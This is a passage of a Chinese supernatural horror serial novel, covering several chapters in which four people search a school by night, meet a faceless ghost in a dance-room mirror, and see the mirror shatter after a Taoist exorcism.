那声音仿佛来自九幽地狱一般，阴冷、低沉且充满着诡异的气息，直直地钻进宋明夷的耳朵里。
“有脏东西！”这突如其来的恐怖声响瞬间令她毛骨悚然，浑身的寒毛都竖了起来。她惊恐万分、下意识地尖叫出声，像是一只受到惊吓的小兔子般，慌不择路地迅速躲到了林凌的身后。
沈聆回过头寻声看去，只见保安室门口那原本就显得昏暗无比的灯光之下，一个佝偻着身躯的黑影正缓缓地朝他们这边移动过来！
随着距离越来越近，可以清楚地看到那是一个年约五十多岁的男子。
这个男人不仅驼着背，而且头顶还长着瘌痢，稀疏的头发凌乱不堪地耷拉在头皮上，更让人觉得惊悚的是，他的额头中央竟然鼓起了一个硕大的囊肿，在黯淡光线的映照下泛出令人作呕的光泽，那件破旧的外套松垮地披在他瘦弱的身体上，外套上满是不明污渍，显然已经很久没有洗外套了，甚至很久没有洗澡了，整个人散发出一股子酸臭味，形象看上去愈发显得邋遢不堪。
他的手中紧握着一个小巧的手电筒，微弱的光芒在黑暗中摇曳不定。
当他终于走到离校门口四人不远的地方时，停下脚步，抬起手用电筒的光束晃了晃眼前的几人，并开口问道：“你们几个，大晚上的不睡觉，在这里瞎转悠啥呢？”
沈聆看了一眼那个人的外套，认出他的外套虽然脏兮兮的，但应该是学校保安的外套。
他可能就是今晚的值夜保安。
她也曾经听同学们说过，每天晚上值夜班的是一个邋里邋遢的老男人，那个男人大家都称呼为老陈，老陈是个老光棍了，因为懒惰，这辈子没挣多少钱，也没有媳妇，双亲去世后，托关系找了个学校值夜班的活儿，每天晚上他都在保安室睡觉，他的工作很简单，晚上12点的时候巡逻一圈，看看有没有可疑人等。
“您是……保安老陈吗？”
“是俺。”
“我是在陵川一中读书的学生，今天我带着我的朋友来调查一些……不太干净的事情，马校长说有跟保安队这边交代过了，说您会带我们去……”
闻言，老陈像是想起了什么，他转了转眼珠子，点了点头。
“是这样的，我想起来了，今天晚上好像上头交代要带几个孩子进去学校，至于要做什么就全听你们自行决定。”
说着，他的嘴角不知为何扬起了一丝诡异的弧度。
127. 舞蹈室
保安老陈诡异地笑了一下后，拿着手电筒，转身朝着保安室走去。
沈聆回头看了一下其他三个人，发现大家也都是一副莫名其妙的表情。
“……你刚才有没有看到他笑了一下？”宋明夷拉了拉林凌的衣服，小心翼翼地问。
林凌点了点头：“有……他笑什么？”
“会不会是感觉我们今天晚上要‘献祭’了？”宋明夷越说越感觉背后凉凉，像是有什么东西在看着自己，她不由得回头看去，但除了校园里漆黑一片的树林之外，她并没有看到其他别的什么东西。
“不要自己吓唬自己了。”沈聆轻轻咳嗽了两声，“可能他就是面神经抽搐了一下而已，现在不是有很多这种事情吗，得了什么病，然后表情也不受控，神经的异常放电会引起面部肌肉的抽搐颤抖。”
沈聆尝试着用自己知道的稀缺的医学知识来相对科学地解释遇到的情况，不过她知道的只是一些凤毛麟角，这还是因为接触了沈凝的神经外科医生才知道的一些医学用语，七拼八凑地用来打消宋明夷的恐惧。
她转身跟着老陈走进了保安室，身后的三人也跟了上来。
走进保安室的时候，迎面一股子烟味呛得沈聆又咳嗽了几声，老陈似乎自己在值夜班的时候很喜欢抽烟，保安室密不透风，那烟味在值班室里经久不散。
保安室有一张上下铺的床，床边堆放着一堆学生们的快递，正对着床的方向有一张桌子，桌子上有一台老式电视机，电视上正播放着此刻校园里的监控画面，此外，在电视旁还放着一个杯子，杯子里装着一些不知名的液体，沈聆皱起眉头，看见桌子下方放着三四瓶空酒瓶，心里大概猜到了七八分。
老陈挠了挠头，走到了桌子前，用裤腿挡住了空了的酒瓶子，拉开了桌子的抽屉，从抽屉里拿出了一大串钥匙，转过头看着四个孩子。
“好了，你们要去看什么地方？有的地方锁起来了，需要钥匙才能打开。”老陈的烟嗓说起话来沙哑而苍白，听起来像是一个没有感情的幽灵。
“我们……”沈聆回过头看了看其他三个人，像是在征询大家的意见。
其实在来之前，大家就讨论了一下今天晚上要调查哪些事情。
首先，404女寝是一定要去的，她们死得太诡异了，死的死、失踪的失踪，这件事情目前也是最让校方头疼的问题，而且失踪的女孩子还是纠缠着马校长孩子的鬼魂，这就更有调查的必要了，现任校长也是因为他们要调查的是404女寝的案件，才同意他们进入学校，因此，404是必须要去的。
其次，就是方才宋明夷说的那三个热度最高的灵异故事。
这三个故事热度最高，并不是因为恐怖程度最重，而是都有目击者或者是亲身经历者亲口说出这个事情，说明这些事很大程度上是真的发生过，并且这种帖子一旦流传，就会引发模仿效应，会有许多好奇心重的孩子亲身试验是否是真的，如果是假的，应该就会有反驳这个故事的观点存在。
但到目前为止，这些都没有。
只能说明两个可能，一是这个事情的可信度很大，孩子们不愿意尝试，不愿意以身犯险；另一种可能，就是真的有人尝试过，并且发生了相同的灵异结局。
无论是哪一种，都值得他们一试。
今天是好不容易争取来的机会，下一次不知道是什么时候，既然来都来了，不如一次性调查清楚。
“我们打算去404女寝，舞蹈室、楼梯间还有……还有随便一间空的活动室都可以。”沈聆看向了保安老陈，她对这个学校的相对熟悉，“不然我们先去活动室，我记得一号楼的一楼有一间空的活动室，之前用来放过杂物，也当过校医的办公室，现在是限制状态，可以玩‘四人游戏’，之后看一下一楼的楼梯，没问题的话，再从架空层到二号楼的舞蹈室，宿舍楼就在二号楼的北侧，我们最后去404女寝。”
“可以啊，我都行，只要你们几个孩子玩得开心就行。”老陈说着提着钥匙和手电筒，转身朝着保安室外走去。
沈聆一行人忙跟上了楼老陈的脚步，尤其是宋明夷，死死抓着沈聆的胳膊，不敢松开。
沈聆身上背了一个黑色的包，今天需要唤魂的东西她都带上了，她计划着待会儿在404唤魂，亲口问一问那三个女孩子想吃什么，阴厨的规矩，是不能直接问死者死亡的原因，但还是可以从她们想吃的东西里找一找蛛丝马迹，说不定可以和前几次一样，调查到她们因何而死。
他们紧紧地跟随着保安老陈，走进了夜色中的校园。
这条小径位于保安室后方，蜿蜒曲折地伸向远方的一号楼。
小径由一块块洁白的石砖镶嵌而成，这些石砖深深地嵌入了松软的泥土之中，仿佛是大地特意为人们铺设的道路。然而，石砖之间的间隔却显得有些不太均匀，有的地方一步刚好能够踏上一块石砖，而有的地方则需要跨出两步才能踩到下一块。
这使得行走起来颇有些别扭，甚至有的石砖并没有压实，走在上面歪歪扭扭的，不好保持平衡，就好像是在跳着一种奇怪的舞步。
小径两旁长满了黄绿色的杂草，它们随风摇曳，不时轻拂过人们的裤脚，带来丝丝凉意。
尽管这些杂草看似杂乱无章，但却也为这片寂静的角落增添了几分生机与活力。
可惜的是，小径两侧并未设置路灯，只有保安老陈手中那盏微弱的灯光照亮着前方的路。在这昏暗的光线下，一行五人的身影被拉得长长的，投射在地面上，宛如一幅神秘的剪影画。
随着他们不断前进，不远处的一号楼逐渐清晰起来。这座大楼矗立在夜色中，轮廓分明，给人一种庄严肃穆的感觉。
它高大而威严，仿佛是一个沉默的守护者，静静地等待着他们的到来。
“沙拉……”
风吹过来的时候，空气中带着几分泥土的气息，虽然没有下过雨，但不知道为什么，风中略感湿润。
“沙沙……”
突然，像是有什么东西跑过了一样，沈聆听到了一阵轻微的类似于衣角摩擦过枝叶的声音。
她停下了脚步，下意识地看向了声音传来的地方。
但那漆黑一片的小树丛里，却什么都
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看不到。
——是我疑心了吗？
沈聆皱起眉头，不敢细想，她低下头看了看自己手上的红绳子，至少现在，银铃并没有响，应该……没有鬼吧？
沈聆抬起头的时候，发现众人已经走出了几米之外，吴妄察觉到沈聆没有跟上，停下脚步站在原地等她，她忙小跑着跟了上去。
“……害怕吗？”
“也说不上，但是我总感觉我们学校怪怪的，好像和白天的时候不一样。”
“你的心在暗示这里不是很太平，所以你会变得疑神疑鬼的。”吴妄平静的语气，倒是给了沈聆几分镇定的底气。
“是我疑神疑鬼吗？但是我总觉得……”
“你想太多了，你之前了解的那些鬼故事，给了你部分心理暗示，所以在进入学校之后，你的大脑下意识地带入了这些恐怖故事，甚至想象出一些诡异画面，但只不过是自己吓唬自己而已。”
“这样子吗……”沈聆挠了挠头，半信半疑地点了点头。
吴妄的视线从沈聆身上挪开，看向了周围黑漆漆的小树丛。
他虽然是这么安慰着的，但实际上，他也感觉到周围好像不太对劲。
总有一种，莫名的“被偷窥感”。
特别是自从他们踏入了学校后，这种感觉就更重了几分。
他总觉得，像是有许多双眼睛在黑暗中窥视着他们，有的在树林里，有的在教学楼的窗户后，有的甚至在他们身后……但是在他仔细一看的时候，却会发现一个人都没有。
这样的感觉太诡异了。
更诡异的是，他是青城山的人，他虽然年轻，但修为也并不浅，可纵使如此，在进入了学校之后，也像是进入了一个奇怪的诡异阵法里面，他的探知，也被蒙蔽了几分，他不知道自己的感觉是否是正确的，但他觉得这个学校里一定有更可怕的东西存在。
只不过，看着沈聆和宋明夷害怕的样子，他还是选择绝口不提。
至少，不能让她们现在就畏缩不前。
——事到如今，也只能兵来将挡、水来土掩了。
吴妄这么想着，他们二人加快了脚步，跟上大部队。
他们选择的第一个目的地，就是舞蹈室。
这是艺考生平日里练习跳舞的地方，也就是在这里，某个艺考生看到了一个没有脸的女鬼在镜子前面跳舞，不，不只是没有脸，甚至整张脸都是牙齿。
在五个人来到一号楼的时候，保安老陈带着四个孩子绕过了一号楼的墙角，在用钥匙打开了侧门的安全门后，五个人进入了一号楼一楼的楼梯间。
一进入楼梯间，只感觉到一股闭塞的霉臭味扑面而来，这个楼梯间像是十多年没有通风一样，空气中带着霉尘的味道。
老陈打开了楼梯间另一侧的白色的安全门，安全门后是一条走廊，而在走廊尽头，就是舞蹈室。
“吱呀……”
当安全门打开的那一瞬间，展现在眼前的是一条黑色的走廊，但在门打开的那一刻，所有人都愣在原地。
他们看到，走廊尽头有一间教室，正亮着灯。
128. 不干净的东西
黑暗如墨，浓稠得仿佛能将人吞噬其中。
突然间，在这万籁俱寂中响起了一阵悠扬的音乐声，飘飘渺渺地从走廊尽头那个唯一亮着灯的教室传来。
“这是......芭蕾舞曲？”沈聆声音颤抖，带着难以掩饰的紧张情绪说道。
那舞曲节奏明快而优雅，充满了浓郁的西欧风情，宛如一支灵动的精灵之舞，沈聆绞尽脑汁也分辨不出究竟是贝多芬还是莫扎特的作品，可当这样一首神秘的曲子毫无征兆地出现在这条寂静得令人毛骨悚然的走廊尽头时，在场的每一个人的寒毛都瞬间竖立起来。
“——”
整个走廊仿佛被一种诡异的静谧所笼罩，没有一丝声响，只有死一般的沉寂沉沉地压下来，只有那跳跃的舞曲是唯一的声音，每一个音符都像是跳跃的精灵一样，在走廊上悦动，似乎带着几分致命的吸引力，吸引着人们走近后一探究竟。
走廊尽头的那个教室，孤零零地亮着一盏昏黄的灯。
微弱而黯淡的光线透过窗户，洒落在走廊的地面上，形成了几个不规则的亮色格子，犹如一幅抽象派画作中的奇异图案。这些格子在黑暗中显得格外突兀和刺眼，让人不禁心生恐惧。
众人面面相觑。
宋明夷颤颤巍巍地说：“我……我这是在做噩梦吗？为什么我也听到了音乐的声音……”
“这个点，按道理是没有人在舞蹈室练舞才对。”沈聆眉头深锁，不由得握紧了拳头，“学生宿舍十点就已经开始点名了，这个点不应该还有人还在教学区。”
“既然不是人……那就只可能是人以外的东西了。”吴妄幽幽地说着，他双手插在口袋里，看着走廊的眼神也严肃了几分。
“叮当……”
就在这时，沈聆红色手链上的铃铛忽然响了。
沈聆听到那铃铛的声音，心头一紧。
她知道这铃声代表着什么，也知道现在出现在舞蹈室里的，很大概率并不是人。
林凌见众人都面露难色，开口说道：“……去看看吧。”
他毕竟是训练有素的年轻警察，看多了尸体，对鬼神之事自然也没有那么害怕。
他从来只觉得人比鬼可怕多了，自己又没做亏心事，为什么要害怕撞鬼？毕竟，如果真的是鬼，有怨报怨、有仇报仇，自己也不是害死她的人，对方应该不会对自己下手。
林凌这么想着，已经迈开腿朝着走廊另一头走去。
在他身后，大家也都壮着胆子跟了上去。
越是靠近舞蹈室，那乐声就越是清晰。
这是是芭蕾舞的舞曲，每一个音符都清晰有力，抑扬顿挫，听着让人想起了湖面上扑闪着翅膀的天鹅。
——是《小天鹅》吗？
沈聆暗想。
但是随即又否定了自己的想法。
这首乐曲和传统的《小天鹅》似乎又有点儿不太一样，至少，舞曲的音符似乎和她之前听过的小天鹅芭蕾舞不尽相同，更像是经过改编之后的同类曲谱。
沈聆不懂艺考生的世界，更没有学习过芭蕾舞，只是听着那乐曲，感觉到乐曲的旋律在逐渐加快，似乎有什么东西促使着乐曲的节奏、节拍在加快演变，半拍、一拍交错着，给人一种暴风雨愈演愈烈的感觉，雨点随着雨势的加快落得越来越大、越来越大，若是跟着这首歌起舞，舞者根本没办法停下脚步，这浓烈而又热烈的感情，似乎在逐渐加快的节奏中升华。
就在众人走到舞蹈室前的时候，忽然，那乐声停住了。
硬生生的，像是被掐断了一样。
戛然而止的声音，让所有人都脚步一顿。
走在最前面的林凌抬起头看了看教室外的指示牌，上面写着三个字“舞蹈室”，而在指示牌旁边，教室的门却关着，至少，后门是关着的，并且上面还加了一把锁，林凌凑近仔细观察了一下，发现锁孔和锁身上都是灰扑扑的，看起来有一段时间没有人打开过了。
——不是从后门进去的，那是前门吗？
林凌抬起头看向了教室的前门。
他壮着胆子往教室的前门走去，在走过舞蹈室窗户的时候，他下意识地看向了舞蹈室里——
只见舞蹈室空荡荡的，地上铺着棕色的地板，在教室前面有着一面巨大的镜子，教室两侧是用来压腿的横杆，在教室右侧，有一个放音乐的小音箱，想必那乐声就是从小音箱里传出的。
在教室后方还有两排柜子，用来放舞蹈生的东西，此外，教室里没有任何人的身影，甚至是鬼影都没有看到！
林凌走到了舞蹈室前门，发现舞蹈室的前门也是锁着的，上面也有一把灰色的锁。
前后门都是锁着的，窗户也有栏杆，那人是怎么进去的？
如果说电灯可以解释是电线短路而打开着的，那么音乐声又是怎么回事？
偏生在他们靠近的时候，那音乐声就停下来了。
感觉就像是在舞蹈室里跳舞的人察觉到了正在靠近的他们，这才关上了音乐……
想到这里，林凌的脸色阴沉了下来，他感觉到头皮一阵发麻。
“……大叔，能把舞蹈室的门开一下吗？我觉得我们有必要进去调查一下。”
林凌看向了保安老陈。
不知道是不是喝了酒的原因，保安老陈倒是挺镇定的。
只见他叼着一支烟，见林凌喊他，便也来到了舞蹈室前门，认真看了看舞蹈室的门锁后，低下头开始在手中的一大串钥匙里翻找起来。
看来，保安平日里是有钥匙的，只不过舞蹈室出了灵异事件，被锁上了。
“……小聆聆，是不是闹鬼了啊……”宋明夷说话的声音已经颤抖了起来，她死死抓着的胳膊，紧紧贴着她，身子抖得跟筛糠一样，“我……我刚才明明听见有音乐的声音从这个房间里传出来，怎么、怎么现在又没了？？！”
“不只是你，我也听到了。”沈聆的脸色也苍白着，她咬着下唇，压低了声音说，“我的铃铛响了……这里，估计不只有我们五个，你小心点，不要离我太远。”
“好、好的……”
宋明夷害怕得咬紧牙关，深吸了几口气，努力让自己保持镇定。
她现在就是后悔，十分后悔，但后悔的并不是跟着他们来这里，而是没有带上
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自己偷拍的设备，早知道这里这么出“素材”，她就应该带上她的微型摄像头过来采集一些素材了！
这么想着，宋明夷不禁动了鬼心思。
她趁着其他人没有注意，稍微拿出了口袋里的手机，并将手机调整到了摄像的状态，将手机放入口袋的那一刻，留了手机摄像头在外面，方便捕捉周围的一切。
而吴妄的视线始终看着舞蹈室，他没有说话，只是脸色阴沉了几分。
沈聆注意到了这一点。
“……道长，有什么高见吗？”
“那个东西，应该还在舞蹈室里面。”
“你是说……”
“鬼也罢，幽灵也罢，称呼不同，但都是那个东西。”吴妄回过头看了一眼沈聆，加重了语气，“那个……不干净的东西。”
“有办法解决吗？”
“不好说，目前为止，对方应该都没有敌意，但是我不知道她为什么一直待在那里面，周围有一个类似于结界之类的东西存在，说明她并不希望别人打扰自己，你听到的音乐声也好的，灯光也罢，都是她存在的形式之一，那是她的磁场，影响了周围的一切。”
吴妄低沉着声音说道。
“而且，你不觉得很奇怪吗？”
“你是说……”
“那个老陈。”
“他？”
“从刚开始到现在，从看到了灯光到听到乐声，他都没有表现出太过惊讶的表情，就好像，他已经司空见惯了。”
“按照规定，保安是需要每天半夜巡逻一次学校的，会不会……老陈其实知道一些什么东西，只是没跟我们说而已？”
“是啊，有这个可能。”
在他们说话的时候，老陈已经找到了舞蹈室的钥匙，并打开了舞蹈室的门锁。
他在一串钥匙里面找到了一把小钥匙，并将小钥匙插入了门锁中，转动钥匙，只听见锁孔内传来了轻微的“咔嚓”声，下一秒，舞蹈室的灯突然关起来了！
突如其来的黑暗让所有人都猝不及防！
老陈开锁的动作都硬生生停在半空，大家不由得凑近了一点站着，生怕人群中混入什么奇怪的东西。
所有人都陷入了沉默，一股恐惧，在空气中发酵。
“别担心，可能只是电源短路跳闸而已。”林凌安慰道，“开门，我们进去看看。”
他这句话，像是说给他们几个人听的，又像是说给舞蹈室里的某个东西听的。
老陈叹了口气，用微不可察的声音说了一句：“无法安息。”
林凌听到了这句话，但他还来不及深究的时候，老陈已经打开了门锁，推开了舞蹈室的前门。
“吱呀……”
在推开舞蹈室前门的时候，从房间里传来一股更浓的发霉的味道，不，更准确地说，是一股腐烂的味道。
在敏锐地嗅到那股味道的时候，林凌下意识地皱起了眉头。
他太熟悉这味道了。
这味道，就是干尸坑里那些尸体腐烂后的味道。
——难道说……
——这间舞蹈室里……也有腐烂的尸体吗？
129. 镜
在推门而入的那一瞬间，扑面而来的腐臭味让林凌皱起了眉头。
不会错的。
他这几天都在排查干尸坑的线索，对于这样尸体腐烂的味道他是再熟悉不过。
他皱着眉头朝着舞蹈室看去，但环顾了一圈，并没有看到类似于尸体、或者是尸块之类的东西。
和外面看到的一样。
不知为何，当那明亮的灯光骤然熄灭之后，原本敞亮的舞蹈室瞬间变得异常空旷起来，这里本是由两间宽敞的教室精心改造而成的一间大型活动室，其空间之广阔足以容纳数十名舞者，但发生灵异事件之后，被上了锁的舞蹈室明显已经空了很久了。
在舞蹈室最前方的墙壁上赫然镶嵌着一块巨大的镜子，将室内的一切映照得清晰可见，镜子的加持让整个舞蹈室的空间看起来更大了几分，而在舞蹈室的两侧，则整齐地排列着一根根专为舞蹈生们设计的压腿栏杆。
再往后看去，便能发现两个硕大无比的柜子安静地矗立在那里。岁月的痕迹无情地爬上了这对柜子，使其表面微微生锈，透露出一种沧桑之感，这些柜子的门都敞开着，似乎已经有很长一段时间无人在此放置物品了。
除此之外，唯一能给这间略显冷清的舞蹈室增添些许生气的，便是那个静静靠在窗边的小巧音箱了。
然而此时此刻，它就这么放在那里，似乎之前他们听到的乐声都是幻觉。
整个舞蹈室犹如被抽走灵魂一般，深深地陷入了一片死气沉沉的氛围当中。
无尽的黑暗如潮水般迅速淹没了这个房间的每一个角落，甚至连空气中似乎都弥漫着一股令人压抑的沉默气息。
从舞蹈室另一侧的窗户向外眺望，可以望见校园走道上那一排散发着昏黄光芒的路灯。那些灯火虽然看似近在咫尺，但实际上却又遥不可及，宛如夜空中闪烁的点点繁星，只能透过茂密林间的狭窄缝隙，微弱地洒进这寂静的舞蹈室里。
舞蹈室里并没有人。
那刚才听到的乐声，是谁放的？
林凌走到窗户边的小音箱旁，用手轻轻摸了摸黑漆漆的小音箱，当指尖触碰到粗糙的音响时，他感觉到音响热热的，似乎不久之前还有人使用过。
“……是它在放歌没错了。”
林凌蹲下身，他长按了一下音响的开关键，发现音响此刻在待机中的状态，而当他长按了开机键后，便再次进入了播放模式。
“——”
那音乐声从小音箱里传出，并且听起来似乎是从刚才断了的地方继续播放下去。
“是谁？刚才是谁在放歌？”宋明夷走在沈聆身后，小心翼翼地跟着众人一起走进了舞蹈室，她睁大了眼睛紧张地四处张望，生怕从哪个黑暗的角落里窜出一个可怕的恶鬼。
林凌认真检查了一番后，心事重重地转头看向其他人：“不知道是谁在放歌，但是，我看了下播放列表，这个音响的USB里只有这么一首没有命名的歌，而且从播放记录来看，每天晚上12：00，都会播放这首歌……”
这句话无疑加重了空气中的压迫感，所有人都没有说话。
沈聆首先看向了保安老陈：“大叔，您不是每天晚上都要巡逻吗？您路过的时候就没有看到舞蹈室在放歌吗？”
保安老陈像是没有听清楚沈聆的话一样，他用小拇指掏了掏耳朵，用带着几分乡音的话回答道：“啥？我没有注意这些诶，我就四处看看，每天晚上，没注意这些乱七八糟的，可能是哪个孩子恶作剧吧。”
“恶作剧？你自己也看到了前后门都是锁着的，门窗紧闭，没有你的钥匙，谁能进来？”吴妄皱起眉头，看着这个邋里邋遢的中年人。
但保安老陈也只是摇了摇头，一副事不关己的模样。
“俺不知道呀，这里面又没有丢东西，俺可管不着。”
他似乎对自己的职责定位很清楚。
他就只是这个学校的保安而已。
只要学校没有进小偷，没有发生财产丢失，那么他的工作就算是做到位了。
其他的事情，那就是“事不关己高高挂起”。
宋明夷也忍不住反驳：“话不能这么说，大叔，这屋子闹鬼的事情，你不用报给领导处理吗？”
“闹鬼？这关俺什么事情？你们可不要胡说，我看这屋子挺正常的，可能是线路短路之类的，改天让电工来看看就好了，那个什么破音响，应该也是之前哪个孩子练舞的时候用的，她胡乱按到了什么，这才播放音乐罢了。”
保安老陈说着，吐掉了嘴巴里的烟头，一脚踩灭了烟头后，又从口袋里拿出了一根香烟，转身朝着走廊外而去，一边走着还不忘一边碎碎念地抱怨。
“你们快点看看，俺在外面等你们……这大晚上的，这几个娃娃也不睡觉，不知道在想什么，净给别人添乱嘛这不是……”
众人见保安老陈并不把这些事情放在心上，倒也不去理睬他了。
“小聆聆，你觉得这里是不是有什么东西呀？”
“有肯定是有的，但是不知道对方对我们是不是有恶意。”
吴妄插话：“恶意应该是没有，否则现在就应该对我们出手……只不过，我们的闯入，或许也会给‘人’带来打扰就是了。”
就在吴妄说话的时候，忽然灯被打开了！
“啪”地一声，舞蹈室的灯瞬间亮了，天花板上的白炽灯亮起的时候，将房间的每一个角落都照彻无遗，所有人的眼睛被这灯光刺痛得睁不开，下意识地闭上了眼睛。
【为什么要来打扰我……】
就在这时，一个声音在沈聆耳畔擦过，她只感觉一阵凉意从脖颈吹了过去，像是有人在她的脖颈边吹了一口气，但那声音转瞬即逝，在下一秒便消散在空气中。
沈聆心下一惊。
她的眼睛适应了舞蹈室里的灯，也看清了一切，但同时，她马上就发现了舞蹈室里不只有他们这几个人！
镜子里，林凌、吴妄和宋明夷的身影依旧，但令人毛骨悚然的是，竟然多出来一个身着白色芭蕾舞服的女孩子。
——这个女孩静静地伫立在窗户边上，距离那小巧的音箱仅有咫尺之遥。她微微
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仰起头，与正看向镜子的沈聆四目相对。
刹那间，一股寒意从沈聆的脊梁骨窜起，因为她惊恐万分地发现，眼前这个女孩竟然没有五官！原本应该是面部的位置，呈现出一片血肉模糊的恐怖景象。
更为骇人的是，那团模糊的血肉之上，密密麻麻地长满了一圈又一圈细小而尖锐的牙齿。这些牙齿排列得如此紧密，仿佛是无数条蠕动着的蠕虫紧紧相依，组成了一张令人作呕的“嘴”。就在沈聆瞪大眼睛试图看清这一切的时候，那些一圈圈的牙齿竟开始缓慢地咬合起来，发出一阵令人头皮发麻的嘎吱声。
“在那里！”
沈聆举起手指向了舞蹈室前面的大镜子，众人循着她的手看去，也看到了那个奇怪的女孩。
但当下一刻所有人看向小音箱的时候，却并没有看到鬼怪的存在。
她只存在于镜子里？！
【你们不该过来的！】
镜子里的那个女孩子对着沈聆说着，她的声音像是从每一寸墙壁、天花板和地板传来，她往前走了几步，镜子里的她直接走到了沈聆身边，同时，周围的墙壁开始渗出殷红的血，空气中的腐烂味更重了几分，腐烂味夹杂着血腥味，在空气中逐渐扩散。
“小聆聆！”
在宋明夷的惊呼声中，众人看见那女鬼朝着沈聆伸出了手。
那只手血迹斑斑，手腕的地方全都是一道又一道的划痕，血液从女鬼手腕的地方渗出，滴落在地上。
“啪”地一声，舞蹈室的灯又关上了。
下一刻，沈聆只感觉到自己的喉咙被掐住了一样，一阵窒息的感觉，像是什么东西扼住了她的咽喉，她下意识地双手乱抓着，但在这黑暗中却并没有什么东西。
“金光破邪，妖魅无藏，原形毕露，破！”
吴妄一声令下，一道金色的符咒飞到了沈聆身上，这张符咒像是带着雷霆万钧的气势，在接触到沈聆身上的时候，沈聆感觉到周围的空气像是被割裂了一样，接着，掐住自己脖子的力度更紧了几分，似乎有什么东西正在对抗吴妄的法力。
“恶鬼，还不速速现身？！”
吴妄说着，从口袋里拿出了另一张红底黑字的符咒，他闭上眼睛，脚下张开了一个金色的八卦阵，在天干地支转动的时候，他也探知到了那灵异的存在。
“刷……刷……”
一团黑气在周围乱窜，似乎有什么东西被吴妄逼得四处逃窜。
“还不显形？！”
下一刻，吴妄睁开了眼睛，他手中的红色符咒发出一道刺眼的红光，那红光瞬间将沈聆包裹着，宛如一个结界，溶解了掐住她咽喉的力度。
“咳咳……”
在红光之中，沈聆身体里的灵元草发着莹绿色的光。
下一刻，一个黑色的影子窜入了镜子里，在那东西融入镜子里的时候，这镜子宛如湖面一样，接纳了它的存在。
“你往哪里去？！”
吴妄起身朝着镜子跑去，但不知为何，巨大的镜子上却出现了许多细细密密的裂痕，下一刻，轰然碎裂！
130. 藏身之地
在黑色影子融入镜子的瞬间，镜子恰似湖面般泛起层层涟漪，那个影子就这般悄然融入其中，而镜子也坦然接纳了它的存在，仿佛在镜子之后还隐匿着另一个世界。
“恶鬼，哪里逃？！”
吴妄大喝一声，霍然起身朝着镜子狂奔而去。
“卡拉。”
就在此时，镜子上开始浮现出众多裂痕，犹如被踩踏的冰面一般，细细密密的裂痕在镜子上不断增多。起初，只是镜子中间出现一道自上而下的纵向裂痕，紧接着，如同树根、蛛网般迅速蔓延至镜子的每一个角落。
“道长小心！”
沈聆这句话刚刚脱口而出，下一刻，只听得“咣”的一声巨响，整个镜子瞬间破碎，破碎的镜子仿若爆炸一般，将所有的玻璃碎屑瞬间向四周迸射而去。
“小心！”
林凌面色大变，口中发出一声高呼，几乎就在同一瞬间，他的身躯毫不犹豫地向前扑了过去，眨眼之间，他便挡在了两个女孩，挡住了飞来的玻璃渣。慌乱之中，沈聆和宋明夷急忙低下脑袋，条件反射般地伸手抱住自己的头部，而一旁的吴妄同样大惊失色，手忙脚乱地低下身子，挡住了飞来的碎玻璃渣。
下一秒，耳畔只听得“呛”的一阵刺耳声响，那些飞溅而出的玻璃碎屑仿佛密集的雨点般纷纷扬扬地洒落一地。
有些碎玻璃直直地坠落到地面上，与坚硬的地板碰撞后发出清脆的响声；有些则如利箭一般深深地插入墙壁之中，甚至有几块锋利无比的碎片划过旁边的窗户，在上面留下一道道触目惊心的划痕。
待到一切尘埃落定，沈聆胆战心惊地再次缓缓抬起头来，眼前的景象让她不由得倒吸一口凉气——只见原本整洁明亮的舞蹈室此刻已经变得面目全非，满地都是闪烁着寒光的碎玻璃渣，凌乱不堪，这些细碎的玻璃碴子四处散落，宛如一颗颗狰狞的獠牙，让人不寒而栗，整个空间弥漫着一股紧张而又危险的气息，令人毛骨悚然。
她抬起头看向了舞蹈室前方的墙壁，整个镜子都碎了，夜色之中，墙壁上再也没有了舞蹈镜，而是一面白花花的墙壁。
“……她不见了。”吴妄甩掉了衣袖上的玻璃渣，站起身，他环顾了一圈，认真感受了一下周围的鬼气，发现鬼气在逐渐消散。
那个奇怪的黑影，在融入镜子的时候，就像是堕入了另一个空间，再也找不到了。
“林警官，你还好吧？”沈聆忧心忡忡地看着挡在她们面前的林凌。
他是个警察，“牺牲自己、保护别人”似乎已经成为了他的一种本能，在危险发生的第一时间，他想到的是保护弱小，哪怕是用自己的身体当肉盾。
“……我还好。”
林凌缓缓地放下了那只一直挡在自己面前的手，然而与周围的人相比，他离那面镜子实在太近了，因此所遭受的伤害也要严重得多。
沈聆发现，林凌不仅头发上沾满了玻璃碎屑，就连衣服也未能幸免，他的衣服上滑坡了好几道口子，仿佛刚刚经历了一场激烈的战斗。
而最令人触目惊心的是，竟有一块硕大的玻璃直接刺入了他的手背，深深地嵌入其中，让人看了不禁倒吸一口凉气，与此同时，他的脸颊、额头以及脖颈处也布满了一道道细微的伤痕，显然是被飞溅的玻璃渣给刺破的，那些细碎的玻璃渣就像一根根尖锐的针，无情地扎进了他的伤口里，使得原本就鲜血淋漓的伤势变得愈发严重起来。
“林大哥你没事吧？！”宋明夷看着奋不顾身挡在她们面前的林凌，不由得红了眼睛。
温热的血液从林凌的脸颊不断滑落，一滴接着一滴，染红了他脚下的地面。但尽管如此，他还是轻轻一笑，似乎这些伤都不算什么。
“害，这有什么，没事儿，我皮糙肉厚的，抗糙，这些都是皮外伤而已。”
“真的吗？可是我看你好可怜啊，你这……全身跟刺猬一样……”宋明夷眼泪汪汪地看着林大哥，脑袋里忍不住想象如果是自己变成了这副模样，那她跟毁容有什么区别，到时候还怎么当美貌的灵异女主播。
这边，沈聆和宋明夷帮着林凌将身上的玻璃渣清掉，而吴妄则踩过一地的玻璃碎屑，他认真检查了一圈，确认那个诡异的存在已经逃走了后，默默叹了口气。
他的手摩擦着粗糙的墙壁，感觉到墙壁有些湿润，宛如南方的回南天一般，似乎有什么水汽正从墙壁里渗出来，他的指尖触碰到那潮湿的水汽后，他将手指缩回来，闻了闻指尖上的味道，发现那水汽带着几分腐烂的臭味，宛如……
尸水。
——看来，这个事情比我想象中更难搞一点。
——那面镜子，是它藏身的地方。
“她……是一直藏在镜子里吗？”沈聆的声音从身后传来。
吴妄回过头，看见沈聆和宋明夷正蹲在林凌身边，帮林凌拿出了头发里的玻璃碎片，同时，将他衣服上扎着的衣服抖掉。
“嗯，恐怕这个镜子是她的藏身之地。”
“但是我们在镜子里并没有看到她的长相……”
“她应该是出于某种原因，想藏起自己的身份，虽然不知道她是谁，但她显然对普通的学生并没有恶意。”
在黑暗中，吴妄站在一地碎玻璃上，他的每一个声音都落在空气中，带着几分沉重的分量。
